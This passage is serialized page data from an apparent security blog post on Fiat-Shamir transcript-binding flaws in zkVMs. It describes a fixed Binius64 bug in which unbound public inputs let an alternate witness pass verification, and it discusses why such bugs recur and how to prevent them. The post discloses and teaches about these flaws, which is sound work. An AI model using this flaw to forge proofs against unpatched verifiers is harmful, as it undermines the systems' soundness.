pass.",{"type":23,"tag":24,"props":121005,"children":121006},{},[121007,121011,121013,121020,121021,121024,121031],{"type":23,"tag":721,"props":121008,"children":121009},{},[121010],{"type":28,"value":116009},{"type":28,"value":121012}," Fixed on 21st January 2026 via ",{"type":23,"tag":31,"props":121014,"children":121017},{"href":121015,"rel":121016},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[35],[121018],{"type":28,"value":121019},"commit 4a8c2be",{"type":28,"value":5713},{"type":23,"tag":30218,"props":121022,"children":121023},{},[],{"type":23,"tag":31,"props":121025,"children":121028},{"href":121026,"rel":121027},"https://blog.polyhedra.network/expander-bug-bounty/",[35],[121029],{"type":28,"value":121030},"Claimed 500k Bug bounty",{"type":28,"value":121032}," award pending",{"type":23,"tag":18031,"props":121034,"children":121035},{},[],{"type":23,"tag":837,"props":121037,"children":121039},{"id":121038},"binius64",[121040],{"type":28,"value":107142},{"type":23,"tag":24,"props":121042,"children":121043},{},[121044,121046,121173],{"type":28,"value":121045},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":23,"tag":94,"props":121047,"children":121049},{"className":121048},[3237,3238],[121050],{"type":23,"tag":314,"props":121051,"children":121053},{"className":121052},[3243],[121054],{"type":23,"tag":314,"props":121055,"children":121057},{"className":121056,"ariaHidden":1481},[3248],[121058],{"type":23,"tag":314,"props":121059,"children":121061},{"className":121060},[3253],[121062,121067],{"type":23,"tag":314,"props":121063,"children":121066},{"className":121064,"style":121065},[3258],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":23,"tag":314,"props":121068,"children":121070},{"className":121069},[3264],[121071,121078],{"type":23,"tag":314,"props":121072,"children":121075},{"className":121073},[3264,121074],"mathbb",[121076],{"type":28,"value":121077},"F",{"type":23,"tag":314,"props":121079,"children":121081},{"className":121080},[3280],[121082],{"type":23,"tag":314,"props":121083,"children":121085},{"className":121084},[3285,20879],[121086,121161],{"type":23,"tag":314,"props":121087,"children":121089},{"className":121088},[3290],[121090,121156],{"type":23,"tag":314,"props":121091,"children":121093},{"className":121092,"style":111631},[3295],[121094],{"type":23,"tag":314,"props":121095,"children":121097},{"style":121096},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[121098,121102],{"type":23,"tag":314,"props":121099,"children":121101},{"className":121100,"style":3305},[3304],[],{"type":23,"tag":314,"props":121103,"children":121105},{"className":121104},[3310,3311,3312,3313],[121106],{"type":23,"tag":314,"props":121107,"children":121109},{"className":121108},[3264,3313],[121110],{"type":23,"tag":314,"props":121111,"children":121113},{"className":121112},[3264,3313],[121114,121119],{"type":23,"tag":314,"props":121115,"children":121117},{"className":121116},[3264,3313],[121118],{"type":28,"value":2378},{"type":23,"tag":314,"props":121120,"children":121122},{"className":121121},[3280],[121123],{"type":23,"tag":314,"props":121124,"children":121126},{"className":121125},[3285],[121127],{"type":23,"tag":314,"props":121128,"children":121130},{"className":121129},[3290],[121131],{"type":23,"tag":314,"props":121132,"children":121135},{"className":121133,"style":121134},[3295],"height:0.7463em;",[121136],{"type":23,"tag":314,"props":121137,"children":121138},{"style":111756},[121139,121143],{"type":23,"tag":314,"props":121140,"children":121142},{"className":121141,"style":108159},[3304],[],{"type":23,"tag":314,"props":121144,"children":121146},{"className":121145},[3310,108164,108165,3313],[121147],{"type":23,"tag":314,"props":121148,"children":121150},{"className":121149},[3264,3313],[121151],{"type":23,"tag":314,"props":121152,"children":121154},{"className":121153},[3264,3313],[121155],{"type":28,"value":29096},{"type":23,"tag":314,"props":121157,"children":121159},{"className":121158},[20982],[121160],{"type":28,"value":20985},{"type":23,"tag":314,"props":121162,"children":121164},{"className":121163},[3290],[121165],{"type":23,"tag":314,"props":121166,"children":121169},{"className":121167,"style":121168},[3295],"height:0.1776em;",[121170],{"type":23,"tag":314,"props":121171,"children":121172},{},[],{"type":28,"value":121174}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":23,"tag":24,"props":121176,"children":121177},{},[121178,121180,121185],{"type":28,"value":121179},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":23,"tag":721,"props":121181,"children":121182},{},[121183],{"type":28,"value":121184},"Shift Protocol",{"type":28,"value":121186}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":23,"tag":24,"props":121188,"children":121189},{},[121190],{"type":23,"tag":721,"props":121191,"children":121192},{},[121193],{"type":28,"value":120611},{"type":23,"tag":24,"props":121195,"children":121196},{},[121197],{"type":28,"value":121198},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":23,"tag":304,"props":121200,"children":121202},{"code":121201,"language":2233,"meta":7,"className":2234,"style":7},"pub fn verify\u003CF, C>(\n constraint_system: &ConstraintSystem,\n public: &[Word], // \u003C- NEVER ABSORBED\n // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[121203],{"type":23,"tag":94,"props":121204,"children":121205},{"__ignoreMap":7},[121206,121241,121266,121300,121308],{"type":23,"tag":314,"props":121207,"children":121208},{"class":316,"line":317},[121209,121213,121217,121221,121225,121229,121233,121237],{"type":23,"tag":314,"props":121210,"children":121211},{"style":321},[121212],{"type":28,"value":12938},{"type":23,"tag":314,"props":121214,"children":121215},{"style":321},[121216],{"type":28,"value":12943},{"type":23,"tag":314,"props":121218,"children":121219},{"style":332},[121220],{"type":28,"value":7421},{"type":23,"tag":314,"props":121222,"children":121223},{"style":338},[121224],{"type":28,"value":5060},{"type":23,"tag":314,"props":121226,"children":121227},{"style":2674},[121228],{"type":28,"value":121077},{"type":23,"tag":314,"props":121230,"children":121231},{"style":338},[121232],{"type":28,"value":778},{"type":23,"tag":314,"props":121234,"children":121235},{"style":2674},[121236],{"type":28,"value":115528},{"type":23,"tag":314,"props":121238,"children":121239},{"style":338},[121240],{"type":28,"value":5844},{"type":23,"tag":314,"props":121242,"children":121243},{"class":316,"line":370},[121244,121249,121253,121257,121262],{"type":23,"tag":314,"props":121245,"children":121246},{"style":360},[121247],{"type":28,"value":121248}," constraint_system",{"type":23,"tag":314,"props":121250,"children":121251},{"style":354},[121252],{"type":28,"value":3746},{"type":23,"tag":314,"props":121254,"children":121255},{"style":354},[121256],{"type":28,"value":1968},{"type":23,"tag":314,"props":121258,"children":121259},{"style":2674},[121260],{"type":28,"value":121261},"ConstraintSystem",{"type":23,"tag":314,"props":121263,"children":121264},{"style":338},[121265],{"type":28,"value":1870},{"type":23,"tag":314,"props":121267,"children":121268},{"class":316,"line":380},[121269,121273,121277,121281,121285,121290,121295],{"type":23,"tag":314,"props":121270,"children":121271},{"style":360},[121272],{"type":28,"value":6777},{"type":23,"tag":314,"props":121274,"children":121275},{"style":354},[121276],{"type":28,"value":3746},{"type":23,"tag":314,"props":121278,"children":121279},{"style":354},[121280],{"type":28,"value":1968},{"type":23,"tag":314,"props":121282,"children":121283},{"style":338},[121284],{"type":28,"value":1312},{"type":23,"tag":314,"props":121286,"children":121287},{"style":2674},[121288],{"type":28,"value":121289},"Word",{"type":23,"tag":314,"props":121291,"children":121292},{"style":338},[121293],{"type":28,"value":121294},"], ",{"type":23,"tag":314,"props":121296,"children":121297},{"style":374},[121298],{"type":28,"value":121299},"// \u003C- NEVER ABSORBED\n",{"type":23,"tag":314,"props":121301,"children":121302},{"class":316,"line":1091},[121303],{"type":23,"tag":314,"props":121304,"children":121305},{"style":374},[121306],{"type":28,"value":121307}," // ...\n",{"type":23,"tag":314,"props":121309,"children":121310},{"class":316,"line":1141},[121311,121315,121319,121323,121327,121332,121336,121340,121344,121348],{"type":23,"tag":314,"props":121312,"children":121313},{"style":338},[121314],{"type":28,"value":2343},{"type":23,"tag":314,"props":121316,"children":121317},{"style":354},[121318],{"type":28,"value":1015},{"type":23,"tag":314,"props":121320,"children":121321},{"style":2674},[121322],{"type":28,"value":13009},{"type":23,"tag":314,"props":121324,"children":121325},{"style":338},[121326],{"type":28,"value":5060},{"type":23,"tag":314,"props":121328,"children":121329},{"style":2674},[121330],{"type":28,"value":121331},"VerifyOutput",{"type":23,"tag":314,"props":121333,"children":121334},{"style":338},[121335],{"type":28,"value":5060},{"type":23,"tag":314,"props":121337,"children":121338},{"style":2674},[121339],{"type":28,"value":121077},{"type":23,"tag":314,"props":121341,"children":121342},{"style":338},[121343],{"type":28,"value":5886},{"type":23,"tag":314,"props":121345,"children":121346},{"style":2674},[121347],{"type":28,"value":36647},{"type":23,"tag":314,"props":121349,"children":121350},{"style":338},[121351],{"type":28,"value":5247},{"type":23,"tag":24,"props":121353,"children":121354},{},[121355,121357,121363,121364,121370,121372,121376],{"type":28,"value":121356},"In the shift protocol, challenges ",{"type":23,"tag":94,"props":121358,"children":121360},{"className":121359},[],[121361],{"type":28,"value":121362},"r_j",{"type":28,"value":557},{"type":23,"tag":94,"props":121365,"children":121367},{"className":121366},[],[121368],{"type":28,"value":121369},"inout_eval_point",{"type":28,"value":121371}," are sampled ",{"type":23,"tag":721,"props":121373,"children":121374},{},[121375],{"type":28,"value":103843},{"type":28,"value":121377}," the public witness is bound.",{"type":23,"tag":24,"props":121379,"children":121380},{},[121381],{"type":23,"tag":721,"props":121382,"children":121383},{},[121384],{"type":28,"value":114731},{"type":23,"tag":24,"props":121386,"children":121387},{},[121388],{"type":23,"tag":197,"props":121389,"children":121392},{"alt":121390,"src":121391},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":23,"tag":24,"props":121394,"children":121395},{},[121396],{"type":28,"value":121397},"During verification",{"type":23,"tag":84,"props":121399,"children":121400},{},[121401,121421,121433,121452],{"type":23,"tag":88,"props":121402,"children":121403},{},[121404,121406,121411,121413,121419],{"type":28,"value":121405},"Sumcheck produces challenge points ",{"type":23,"tag":94,"props":121407,"children":121409},{"className":121408},[],[121410],{"type":28,"value":121362},{"type":28,"value":121412}," (bit indices) and ",{"type":23,"tag":94,"props":121414,"children":121416},{"className":121415},[],[121417],{"type":28,"value":121418},"r_s",{"type":28,"value":121420}," (shift indices)",{"type":23,"tag":88,"props":121422,"children":121423},{},[121424,121426,121431],{"type":28,"value":121425},"Verifier samples ",{"type":23,"tag":94,"props":121427,"children":121429},{"className":121428},[],[121430],{"type":28,"value":121369},{"type":28,"value":121432}," from transcript",{"type":23,"tag":88,"props":121434,"children":121435},{},[121436,121438,121444,121446,121451],{"type":28,"value":121437},"Verifier computes ",{"type":23,"tag":94,"props":121439,"children":121441},{"className":121440},[],[121442],{"type":28,"value":121443},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":28,"value":121445}," using the unbound ",{"type":23,"tag":94,"props":121447,"children":121449},{"className":121448},[],[121450],{"type":28,"value":60927},{"type":28,"value":17372},{"type":23,"tag":88,"props":121453,"children":121454},{},[121455,121456,121462],{"type":28,"value":92},{"type":23,"tag":94,"props":121457,"children":121459},{"className":121458},[],[121460],{"type":28,"value":121461},"public_eval",{"type":28,"value":121463}," feeds into subsequent verification equations",{"type":23,"tag":24,"props":121465,"children":121466},{},[121467],{"type":28,"value":121468},"The MLE evaluation is linear in the public witness bits:",{"type":23,"tag":24,"props":121470,"children":121471},{},[121472],{"type":23,"tag":94,"props":121473,"children":121475},{"className":121474},[3237,3238],[121476],{"type":23,"tag":314,"props":121477,"children":121479},{"className":121478},[3243],[121480],{"type":23,"tag":314,"props":121481,"children":121483},{"className":121482,"ariaHidden":1481},[3248],[121484,121528,121668,121780],{"type":23,"tag":314,"props":121485,"children":121487},{"className":121486},[3253],[121488,121492,121501,121506,121515,121519,121524],{"type":23,"tag":314,"props":121489,"children":121491},{"className":121490,"style":93712},[3258],[],{"type":23,"tag":314,"props":121493,"children":121495},{"className":121494},[3264,28],[121496],{"type":23,"tag":314,"props":121497,"children":121499},{"className":121498},[3264],[121500],{"type":28,"value":60927},{"type":23,"tag":314,"props":121502,"children":121504},{"className":121503,"style":92299},[3264],[121505],{"type":28,"value":2338},{"type":23,"tag":314,"props":121507,"children":121509},{"className":121508},[3264,28],[121510],{"type":23,"tag":314,"props":121511,"children":121513},{"className":121512},[3264],[121514],{"type":28,"value":36797},{"type":23,"tag":314,"props":121516,"children":121518},{"className":121517,"style":3442},[3344],[],{"type":23,"tag":314,"props":121520,"children":121522},{"className":121521},[3447],[121523],{"type":28,"value":1102},{"type":23,"tag":314,"props":121525,"children":121527},{"className":121526,"style":3442},[3344],[],{"type":23,"tag":314,"props":121529,"children":121531},{"className":121530},[3253],[121532,121536,121608,121612,121625,121630,121635,121640,121645,121650,121655,121659,121664],{"type":23,"tag":314,"props":121533,"children":121535},{"className":121534,"style":118061},[3258],[],{"type":23,"tag":314,"props":121537,"children":121539},{"className":121538},[20861],[121540,121545],{"type":23,"tag":314,"props":121541,"children":121543},{"className":121542,"style":20868},[20861,20866,20867],[121544],{"type":28,"value":108094},{"type":23,"tag":314,"props":121546,"children":121548},{"className":121547},[3280],[121549],{"type":23,"tag":314,"props":121550,"children":121552},{"className":121551},[3285,20879],[121553,121597],{"type":23,"tag":314,"props":121554,"children":121556},{"className":121555},[3290],[121557,121592],{"type":23,"tag":314,"props":121558,"children":121560},{"className":121559,"style":112971},[3295],[121561],{"type":23,"tag":314,"props":121562,"children":121563},{"style":20892},[121564,121568],{"type":23,"tag":314,"props":121565,"children":121567},{"className":121566,"style":3305},[3304],[],{"type":23,"tag":314,"props":121569,"children":121571},{"className":121570},[3310,3311,3312,3313],[121572],{"type":23,"tag":314,"props":121573,"children":121575},{"className":121574},[3264,3313],[121576,121582,121587],{"type":23,"tag":314,"props":121577,"children":121580},{"className":121578,"style":121579},[3264,20825,3313],"margin-right:0.02691em;",[121581],{"type":28,"value":48822},{"type":23,"tag":314,"props":121583,"children":121585},{"className":121584},[3376,3313],[121586],{"type":28,"value":3379},{"type":23,"tag":314,"props":121588,"children":121590},{"className":121589},[3264,20825,3313],[121591],{"type":28,"value":2477},{"type":23,"tag":314,"props":121593,"children":121595},{"className":121594},[20982],[121596],{"type":28,"value":20985},{"type":23,"tag":314,"props":121598,"children":121600},{"className":121599},[3290],[121601],{"type":23,"tag":314,"props":121602,"children":121604},{"className":121603,"style":113537},[3295],[121605],{"type":23,"tag":314,"props":121606,"children":121607},{},[],{"type":23,"tag":314,"props":121609,"children":121611},{"className":121610,"style":3383},[3344],[],{"type":23,"tag":314,"props":121613,"children":121615},{"className":121614},[3264],[121616],{"type":23,"tag":314,"props":121617,"children":121619},{"className":121618},[3264,28],[121620],{"type":23,"tag":314,"props":121621,"children":121623},{"className":121622},[3264],[121624],{"type":28,"value":60927},{"type":23,"tag":314,"props":121626,"children":121628},{"className":121627},[20954],[121629],{"type":28,"value":1312},{"type":23,"tag":314,"props":121631,"children":121633},{"className":121632,"style":121579},[3264,20825],[121634],{"type":28,"value":48822},{"type":23,"tag":314,"props":121636,"children":121638},{"className":121637},[20976],[121639],{"type":28,"value":14653},{"type":23,"tag":314,"props":121641,"children":121643},{"className":121642},[20954],[121644],{"type":28,"value":1312},{"type":23,"tag":314,"props":121646,"children":121648},{"className":121647},[3264,20825],[121649],{"type":28,"value":2477},{"type":23,"tag":314,"props":121651,"children":121653},{"className":121652},[20976],[121654],{"type":28,"value":14653},{"type":23,"tag":314,"props":121656,"children":121658},{"className":121657,"style":3345},[3344],[],{"type":23,"tag":314,"props":121660,"children":121662},{"className":121661},[3350],[121663],{"type":28,"value":110561},{"type":23,"tag":314,"props":121665,"children":121667},{"className":121666,"style":3345},[3344],[],{"type":23,"tag":314,"props":121669,"children":121671},{"className":121670},[3253],[121672,121677,121686,121691,121696,121701,121705,121762,121767,121771,121776],{"type":23,"tag":314,"props":121673,"children":121676},{"className":121674,"style":121675},[3258],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":23,"tag":314,"props":121678,"children":121680},{"className":121679},[3264,28],[121681],{"type":23,"tag":314,"props":121682,"children":121684},{"className":121683},[3264],[121685],{"type":28,"value":111888},{"type":23,"tag":314,"props":121687,"children":121689},{"className":121688},[20954],[121690],{"type":28,"value":341},{"type":23,"tag":314,"props":121692,"children":121694},{"className":121693},[3264,20825],[121695],{"type":28,"value":2477},{"type":23,"tag":314,"props":121697,"children":121699},{"className":121698},[3376],[121700],{"type":28,"value":3379},{"type":23,"tag":314,"props":121702,"children":121704},{"className":121703,"style":3383},[3344],[],{"type":23,"tag":314,"props":121706,"children":121708},{"className":121707},[3264],[121709,121714],{"type":23,"tag":314,"props":121710,"children":121712},{"className":121711,"style":92299},[3264,20825],[121713],{"type":28,"value":93118},{"type":23,"tag":314,"props":121715,"children":121717},{"className":121716},[3280],[121718],{"type":23,"tag":314,"props":121719,"children":121721},{"className":121720},[3285,20879],[121722,121751],{"type":23,"tag":314,"props":121723,"children":121725},{"className":121724},[3290],[121726,121746],{"type":23,"tag":314,"props":121727,"children":121729},{"className":121728,"style":92828},[3295],[121730],{"type":23,"tag":314,"props":121731,"children":121732},{"style":109298},[121733,121737],{"type":23,"tag":314,"props":121734,"children":121736},{"className":121735,"style":3305},[3304],[],{"type":23,"tag":314,"props":121738,"children":121740},{"className":121739},[3310,3311,3312,3313],[121741],{"type":23,"tag":314,"props":121742,"children":121744},{"className":121743,"style":113522},[3264,20825,3313],[121745],{"type":28,"value":7909},{"type":23,"tag":314,"props":121747,"children":121749},{"className":121748},[20982],[121750],{"type":28,"value":20985},{"type":23,"tag":314,"props":121752,"children":121754},{"className":121753},[3290],[121755],{"type":23,"tag":314,"props":121756,"children":121758},{"className":121757,"style":118209},[3295],[121759],{"type":23,"tag":314,"props":121760,"children":121761},{},[],{"type":23,"tag":314,"props":121763,"children":121765},{"className":121764},[20976],[121766],{"type":28,"value":431},{"type":23,"tag":314,"props":121768,"children":121770},{"className":121769,"style":3345},[3344],[],{"type":23,"tag":314,"props":121772,"children":121774},{"className":121773},[3350],[121775],{"type":28,"value":110561},{"type":23,"tag":314,"props":121777,"children":121779},{"className":121778,"style":3345},[3344],[],{"type":23,"tag":314,"props":121781,"children":121783},{"className":121782},[3253],[121784,121788,121797,121802,121807,121812,121816,121826,121831,121840,121845,121854],{"type":23,"tag":314,"props":121785,"children":121787},{"className":121786,"style":92241},[3258],[],{"type":23,"tag":314,"props":121789,"children":121791},{"className":121790},[3264,28],[121792],{"type":23,"tag":314,"props":121793,"children":121795},{"className":121794},[3264],[121796],{"type":28,"value":111888},{"type":23,"tag":314,"props":121798,"children":121800},{"className":121799},[20954],[121801],{"type":28,"value":341},{"type":23,"tag":314,"props":121803,"children":121805},{"className":121804,"style":121579},[3264,20825],[121806],{"type":28,"value":48822},{"type":23,"tag":314,"props":121808,"children":121810},{"className":121809},[3376],[121811],{"type":28,"value":3379},{"type":23,"tag":314,"props":121813,"children":121815},{"className":121814,"style":3383},[3344],[],{"type":23,"tag":314,"props":121817,"children":121819},{"className":121818},[3264,28],[121820],{"type":23,"tag":314,"props":121821,"children":121823},{"className":121822},[3264],[121824],{"type":28,"value":121825},"inout",{"type":23,"tag":314,"props":121827,"children":121829},{"className":121828,"style":92299},[3264],[121830],{"type":28,"value":2338},{"type":23,"tag":314,"props":121832,"children":121834},{"className":121833},[3264,28],[121835],{"type":23,"tag":314,"props":121836,"children":121838},{"className":121837},[3264],[121839],{"type":28,"value":36797},{"type":23,"tag":314,"props":121841,"children":121843},{"className":121842,"style":92299},[3264],[121844],{"type":28,"value":2338},{"type":23,"tag":314,"props":121846,"children":121848},{"className":121847},[3264,28],[121849],{"type":23,"tag":314,"props":121850,"children":121852},{"className":121851},[3264],[121853],{"type":28,"value":117084},{"type":23,"tag":314,"props":121855,"children":121857},{"className":121856},[20976],[121858],{"type":28,"value":431},{"type":23,"tag":24,"props":121860,"children":121861},{},[121862,121864,121869,121871,121944],{"type":28,"value":121863},"With challenges fixed (independent of ",{"type":23,"tag":94,"props":121865,"children":121867},{"className":121866},[],[121868],{"type":28,"value":60927},{"type":28,"value":121870},"), an attacker can find an alternate witness ",{"type":23,"tag":94,"props":121872,"children":121874},{"className":121873},[3237,3238],[121875],{"type":23,"tag":314,"props":121876,"children":121878},{"className":121877},[3243],[121879],{"type":23,"tag":314,"props":121880,"children":121882},{"className":121881,"ariaHidden":1481},[3248],[121883],{"type":23,"tag":314,"props":121884,"children":121886},{"className":121885},[3253],[121887,121892],{"type":23,"tag":314,"props":121888,"children":121891},{"className":121889,"style":121890},[3258],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":23,"tag":314,"props":121893,"children":121895},{"className":121894},[3264],[121896,121905],{"type":23,"tag":314,"props":121897,"children":121899},{"className":121898},[3264,28],[121900],{"type":23,"tag":314,"props":121901,"children":121903},{"className":121902},[3264],[121904],{"type":28,"value":60927},{"type":23,"tag":314,"props":121906,"children":121908},{"className":121907},[3280],[121909],{"type":23,"tag":314,"props":121910,"children":121912},{"className":121911},[3285],[121913],{"type":23,"tag":314,"props":121914,"children":121916},{"className":121915},[3290],[121917],{"type":23,"tag":314,"props":121918,"children":121921},{"className":121919,"style":121920},[3295],"height:0.8362em;",[121922],{"type":23,"tag":314,"props":121923,"children":121925},{"style":121924},"top:-3.1473em;margin-right:0.05em;",[121926,121930],{"type":23,"tag":314,"props":121927,"children":121929},{"className":121928,"style":3305},[3304],[],{"type":23,"tag":314,"props":121931,"children":121933},{"className":121932},[3310,3311,3312,3313],[121934],{"type":23,"tag":314,"props":121935,"children":121937},{"className":121936},[3264,3313],[121938],{"type":23,"tag":314,"props":121939,"children":121941},{"className":121940},[3264,3313],[121942],{"type":28,"value":121943},"′",{"type":28,"value":121945}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":23,"tag":24,"props":121947,"children":121948},{},[121949,121953,121955],{"type":23,"tag":721,"props":121950,"children":121951},{},[121952],{"type":28,"value":116009},{"type":28,"value":121954}," Fixed on December 29, 2025 via ",{"type":23,"tag":31,"props":121956,"children":121959},{"href":121957,"rel":121958},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[35],[121960],{"type":28,"value":121961},"commit 86a515f",{"type":23,"tag":18031,"props":121963,"children":121964},{},[],{"type":23,"tag":61,"props":121966,"children":121968},{"id":121967},"why-does-this-keep-happening",[121969],{"type":28,"value":121970},"Why Does This Keep Happening?",{"type":23,"tag":24,"props":121972,"children":121973},{},[121974],{"type":28,"value":121975},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":23,"tag":837,"props":121977,"children":121979},{"id":121978},"academic-papers-dont-specify-fiat-shamir",[121980],{"type":28,"value":121981},"Academic Papers Don't Specify Fiat-Shamir",{"type":23,"tag":24,"props":121983,"children":121984},{},[121985,121987,121992,121994,122019,122021,122024,122026,122051,122053,122080],{"type":28,"value":121986},"Academic papers usually describe ",{"type":23,"tag":186,"props":121988,"children":121989},{},[121990],{"type":28,"value":121991},"interactive",{"type":28,"value":121993}," protocols: \"Prover sends ",{"type":23,"tag":94,"props":121995,"children":121997},{"className":121996},[3237,3238],[121998],{"type":23,"tag":314,"props":121999,"children":122001},{"className":122000},[3243],[122002],{"type":23,"tag":314,"props":122003,"children":122005},{"className":122004,"ariaHidden":1481},[3248],[122006],{"type":23,"tag":314,"props":122007,"children":122009},{"className":122008},[3253],[122010,122014],{"type":23,"tag":314,"props":122011,"children":122013},{"className":122012,"style":20820},[3258],[],{"type":23,"tag":314,"props":122015,"children":122017},{"className":122016,"style":21357},[3264,20825],[122018],{"type":28,"value":115528},{"type":28,"value":122020},". Verifier sends",{"type":23,"tag":30218,"props":122022,"children":122023},{},[],{"type":28,"value":122025},"random ",{"type":23,"tag":94,"props":122027,"children":122029},{"className":122028},[3237,3238],[122030],{"type":23,"tag":314,"props":122031,"children":122033},{"className":122032},[3243],[122034],{"type":23,"tag":314,"props":122035,"children":122037},{"className":122036,"ariaHidden":1481},[3248],[122038],{"type":23,"tag":314,"props":122039,"children":122041},{"className":122040},[3253],[122042,122046],{"type":23,"tag":314,"props":122043,"children":122045},{"className":122044,"style":110140},[3258],[],{"type":23,"tag":314,"props":122047,"children":122049},{"className":122048,"style":92299},[3264,20825],[122050],{"type":28,"value":93118},{"type":28,"value":122052},". Prover sends ",{"type":23,"tag":94,"props":122054,"children":122056},{"className":122055},[3237,3238],[122057],{"type":23,"tag":314,"props":122058,"children":122060},{"className":122059},[3243],[122061],{"type":23,"tag":314,"props":122062,"children":122064},{"className":122063,"ariaHidden":1481},[3248],[122065],{"type":23,"tag":314,"props":122066,"children":122068},{"className":122067},[3253],[122069,122073],{"type":23,"tag":314,"props":122070,"children":122072},{"className":122071,"style":20820},[3258],[],{"type":23,"tag":314,"props":122074,"children":122077},{"className":122075,"style":122076},[3264,20825],"margin-right:0.00773em;",[122078],{"type":28,"value":122079},"R",{"type":28,"value":122081},".\"",{"type":23,"tag":24,"props":122083,"children":122084},{},[122085,122087,122112,122114,122139],{"type":28,"value":122086},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":23,"tag":94,"props":122088,"children":122090},{"className":122089},[3237,3238],[122091],{"type":23,"tag":314,"props":122092,"children":122094},{"className":122093},[3243],[122095],{"type":23,"tag":314,"props":122096,"children":122098},{"className":122097,"ariaHidden":1481},[3248],[122099],{"type":23,"tag":314,"props":122100,"children":122102},{"className":122101},[3253],[122103,122107],{"type":23,"tag":314,"props":122104,"children":122106},{"className":122105,"style":20820},[3258],[],{"type":23,"tag":314,"props":122108,"children":122110},{"className":122109,"style":21357},[3264,20825],[122111],{"type":28,"value":115528},{"type":28,"value":122113}," before sampling ",{"type":23,"tag":94,"props":122115,"children":122117},{"className":122116},[3237,3238],[122118],{"type":23,"tag":314,"props":122119,"children":122121},{"className":122120},[3243],[122122],{"type":23,"tag":314,"props":122123,"children":122125},{"className":122124,"ariaHidden":1481},[3248],[122126],{"type":23,"tag":314,"props":122127,"children":122129},{"className":122128},[3253],[122130,122134],{"type":23,"tag":314,"props":122131,"children":122133},{"className":122132,"style":110140},[3258],[],{"type":23,"tag":314,"props":122135,"children":122137},{"className":122136,"style":92299},[3264,20825],[122138],{"type":28,"value":93118},{"type":28,"value":122140},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":23,"tag":24,"props":122142,"children":122143},{},[122144],{"type":28,"value":122145},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":23,"tag":837,"props":122147,"children":122149},{"id":122148},"the-hot-potato-problem",[122150],{"type":28,"value":122151},"The Hot Potato Problem",{"type":23,"tag":24,"props":122153,"children":122154},{},[122155],{"type":28,"value":122156},"Modern zkVMs are modular:",{"type":23,"tag":24,"props":122158,"children":122159},{},[122160],{"type":23,"tag":197,"props":122161,"children":122164},{"alt":122162,"src":122163},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":23,"tag":24,"props":122166,"children":122167},{},[122168],{"type":28,"value":122169},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":23,"tag":837,"props":122171,"children":122173},{"id":122172},"optimization-pressure",[122174],{"type":28,"value":122175},"Optimization Pressure",{"type":23,"tag":24,"props":122177,"children":122178},{},[122179],{"type":28,"value":122180},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":23,"tag":24,"props":122182,"children":122183},{},[122184],{"type":28,"value":122185},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":23,"tag":837,"props":122187,"children":122189},{"id":122188},"testing-doesnt-catch-adversarial-inputs",[122190],{"type":28,"value":122191},"Testing Doesn't Catch Adversarial Inputs",{"type":23,"tag":24,"props":122193,"children":122194},{},[122195],{"type":28,"value":122196},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":23,"tag":18031,"props":122198,"children":122199},{},[],{"type":23,"tag":61,"props":122201,"children":122203},{"id":122202},"how-to-find-and-fix-these-bugs",[122204],{"type":28,"value":122205},"How to Find and Fix These Bugs",{"type":23,"tag":837,"props":122207,"children":122209},{"id":122208},"prevention",[122210],{"type":28,"value":122211},"Prevention",{"type":23,"tag":24,"props":122213,"children":122214},{},[122215],{"type":28,"value":122216},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":23,"tag":24,"props":122218,"children":122219},{},[122220],{"type":28,"value":122221},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":23,"tag":24,"props":122223,"children":122224},{},[122225],{"type":28,"value":122226},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":23,"tag":24,"props":122228,"children":122229},{},[122230],{"type":28,"value":122231},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":23,"tag":24,"props":122233,"children":122234},{},[122235],{"type":28,"value":122236},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":23,"tag":18031,"props":122238,"children":122239},{},[],{"type":23,"tag":61,"props":122241,"children":122243},{"id":122242},"responsible-disclosure-timeline",[122244],{"type":28,"value":122245},"Responsible Disclosure 